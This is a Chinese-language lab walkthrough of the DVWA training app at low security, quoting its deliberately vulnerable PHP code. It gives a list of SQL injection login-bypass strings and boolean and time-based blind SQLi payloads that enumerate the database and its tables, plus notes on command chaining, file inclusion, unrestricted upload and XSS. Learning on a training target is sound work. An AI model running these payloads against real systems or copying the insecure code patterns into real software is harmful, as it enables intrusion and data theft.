DVWA-Low通关详解
Brute Force(暴力破解)
<?php
if( isset( $_GET[ 'Login' ] ) ) {
// Get username
$user = $_GET[ 'username' ];
// Get password
$pass = $_GET[ 'password' ];
$pass = md5( $pass );
// Check the database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
if( $result && mysql_num_rows( $result ) == 1 ) {
// Get users details
$avatar = mysql_result( $result, 0, "avatar" );
// Login successful
echo "<p>Welcome to the password protected area {$user}</p>";
echo "<img src=\"{$avatar}\" />";
}
else {
// Login failed
echo "<pre><br />Username and/or password incorrect.</pre>";
}
mysql_close();
}
?>
这里可以发现我们如果进行万能密码绕过也是可以的,
1:"or "a"="a
2: ')or('a'='a
3:or 1=1--
4:'or 1=1--
5:a'or' 1=1--
6:"or 1=1--
7:'or'a'='a
8:"or"="a'='a
9:'or''='
10:'or'='or'
11:1 or '1'='1'=1
12:1 or '1'='1' or 1=1
13: 'OR 1=1%00
他不限制次数,没有验证码,完全可以用instruder模块爆破
但是这里有一个问题
需要返回的结果在一行上面,所以我们需要limit 1,1取出一行结果,或者是,group_concat到一行上面,
否则的话,不能执行万能密码,
'or 1=1 limit 1,1 --
Command injection(命令执行)
前情提要
command1 && command2: &&左边的command1执行成功(返回0表示成功)后,&&右边的command2才能被执行。
command1 & command2: &左边不管是否执行成功仍然会执行右边的command2(同时执行)
command1 || command2: 如果||左边的command1执行失败(返回1表示失败),就执行&&右边的command2。
command1 | command2: 只显示|右边指令执行的结果
command1;command2: 命令顺序执行 第一个命令无法执行,第二个命令才执行
Cross Site Request Forgery(CSRF跨站脚本伪造)
我们找到它的提交表单,然后自行编写一个,同时会自动提交,密码为123
File Inclusion(文件包含)
发现有一个page可以进行修改,那么我们直接进行…/…/phpinfo.php即可找到
fileupload 文件上传
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
?>
basename(path,suffix)
函数返回路径中的文件名部分,如果可选参数suffix为空,则返回的文件名包含后缀名,反之不包含后缀名。
因为没有任何的限制,我们直接上传即可。
Insecure CAPTCHA(不安全的验证码)
SQL Injection(SQL注入)
<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
// Get results
$num = mysql_numrows( $result );
$i = 0;
while( $i < $num ) {
// Get values
$first = mysql_result( $result, $i, "first_name" );
$last = mysql_result( $result, $i, "last_name" );
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
// Increase loop count
$i++;
}
mysql_close();
}
?>
1=1可以执行,
1=2无法执行
说明存在哟
3列报错
2列不报错
查到数据库和用户
SQL Injection (Blind)(SQL注入盲注)
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Get input
$id = $_GET[ 'id' ];
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysql_numrows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
mysql_close();
}
?>
可以看到,Low级别的代码对参数id没有做任何检查、过滤,存在明显的SQL注入漏洞,同时SQL语句查询返回的结果只有两种,
User ID exists in the database
User ID is MISSING from the database.
我们可以进行盲注
基于布尔的盲注
首先我们进行查询数据库的长度
1’ and length(database())=1 #
1’ and length(database())=2 #
1’ and length(database())=3 #
1’ and length(database())=4 #
到4存在,说明,数据库长度为4
然后我们一位一位进行爆破
二分法判断ascii码值
输入1’ and ascii(substr(databse(),1,1))>97 #,显示存在,说明数据库名的第一个字符的ascii值大于97(小写字母a的ascii值);
首先猜解数据库中表的数量:
1’ and (select count (table_name) from information_schema.tables where table_schema=database())=1 # 显示不存在
1’ and (select count (table_name) from information_schema.tables where table_schema=database() )=2 # 显示存在
说明数据库中共有两个表。
接着挨个猜解表名:
1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 # 显示不存在
1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=2 # 显示不存在
...
1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 # 显示存在
说明第一个表名长度为9。
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 # 显示存在
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<122 # 显示存在
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<109 # 显示存在
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<103 # 显示不存在
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>103 # 显示不存在
说明第一个表的名字的第一个字符为小写字母g。
基于时间的盲注
在上面的基础上,添加if进行判断
输入1’ and sleep(5) #,感觉到明显延迟;
输入1 and sleep(5) #,没有延迟;
是字符型
1’ and if(length(database())=1,sleep(5),1) # 没有延迟
1’ and if(length(database())=2,sleep(5),1) # 没有延迟
1’ and if(length(database())=3,sleep(5),1) # 没有延迟
1’ and if(length(database())=4,sleep(5),1) # 明显延迟
这个是四个字符
Reflected Cross Site Scripting(XSS)(反射型跨站脚本)
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>
我们可以看到,任何防护都没有,直接进行输出即可
Stored Cross Site Scripting (XSS)(存储型跨站脚本)
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = mysql_real_escape_string( $message );
// Sanitize name input
$name = mysql_real_escape_string( $name );
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
//mysql_close();
}
?>
但是trim这里并没有起作用
当然这里也相当于没有过滤
直接输入即可